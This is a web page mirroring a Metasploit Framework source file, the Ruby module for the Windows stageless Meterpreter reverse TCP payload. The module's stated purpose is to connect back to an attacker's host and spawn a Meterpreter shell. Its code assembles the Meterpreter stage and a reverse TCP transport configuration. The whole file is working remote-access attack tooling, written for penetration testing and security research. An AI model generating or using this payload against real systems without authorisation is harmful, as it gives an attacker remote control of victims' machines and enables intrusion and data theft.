CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
Views: 11765
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 177734
10
11
include Msf::Payload::TransportConfig
12
include Msf::Payload::Windows
13
include Msf::Payload::Single
14
include Msf::Payload::Windows::MeterpreterLoader
15
include Msf::Sessions::MeterpreterOptions
16
17
def initialize(info = {})
18
19
super(merge_info(info,
20
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline',
21
'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',
22
'Author' => [ 'OJ Reeves' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Arch' => ARCH_X86,
26
'Handler' => Msf::Handler::ReverseTcp,
27
'Session' => Msf::Sessions::Meterpreter_x86_Win
28
))
29
30
register_options([
31
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
32
OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),
33
])
34
end
35
36
def generate(opts={})
37
opts[:stageless] = true
38
stage_meterpreter(opts) + generate_config(opts)
39
end
40
41
def generate_config(opts={})
42
opts[:uuid] ||= generate_payload_uuid
43
44
# create the configuration block, which for staged connections is really simple.
45
config_opts = {
46
arch: opts[:uuid].arch,
47
exitfunk: datastore['EXITFUNC'],
48
expiration: datastore['SessionExpirationTimeout'].to_i,
49
uuid: opts[:uuid],
50
transports: [transport_config_reverse_tcp(opts)],
51
extensions: (datastore['EXTENSIONS'] || '').split(','),
52
ext_init: (datastore['EXTINIT'] || ''),
53
stageless: true,
54
}.merge(meterpreter_logging_config(opts))
55
56
# create the configuration instance based off the parameters
57
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
58
59
# return the binary version of it
60
config.to_b
61
end
62
end
63
64
65